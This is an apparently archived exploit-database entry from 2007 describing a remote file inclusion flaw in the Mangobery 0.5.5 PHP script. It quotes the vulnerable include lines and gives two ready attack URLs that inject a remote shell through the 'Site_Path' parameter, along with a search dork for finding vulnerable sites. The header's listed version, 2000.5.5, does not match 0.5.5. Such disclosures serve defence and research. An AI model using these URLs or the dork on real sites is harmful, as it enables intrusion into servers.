Mangobery-0.5.5

vendor:

Mangobery

by:

kezzap66345

5.5

CVSS

MEDIUM

Remote File Inclusion (RFI)

CWE

Product Name: Mangobery

Affected Version From: 2000.5.5

Affected Version To: 2000.5.5

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Not specified

2007

The Mangobery 0.5.5 script is vulnerable to Remote File Inclusion (RFI) attacks in the 'boxes/quotes.php' and 'templates/mangobery/footer.sample.php' files. An attacker can exploit this vulnerability by including a malicious file from a remote server using the 'Site_Path' parameter, leading to arbitrary code execution.

Mitigation:

To mitigate this vulnerability, the developer should sanitize user input and ensure that the 'Site_Path' parameter is not directly included in the file inclusion function.

Source

Exploit-DB raw data:

Mangobery-0.5.5

*****************
Found by kezzap66345 *
*****************
Script Page:http://mangobery.sourceforge.net/
*****************
Demo Site:http://mangobery.beryllium.ca/
*****************
Script
Download:http://sourceforge.net/project/showfiles.php?group_id=63834&package_id=60858

*****************
Dork:http://www.google.com.tr/search?hl=tr&q=%22MangoBery+1.0+Alpha%22&meta=

*****************
ERROR#1:
File:boxes/quotes.php
*****************


<? include($Site_Path . 'tquotes/tq_getquote.inc') ?>     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/boxes/quotes.php?Site_Path=[SHELL]


**************************************************************************************

*****************
ERROR#2:
File:templates/mangobery/footer.sample.php
*****************


include($Site_Path . "includes/column_right.php");     <<< rfi coded


**************************************************************************************
RFI#2:

http://SITE.com/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL]

Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-03-28]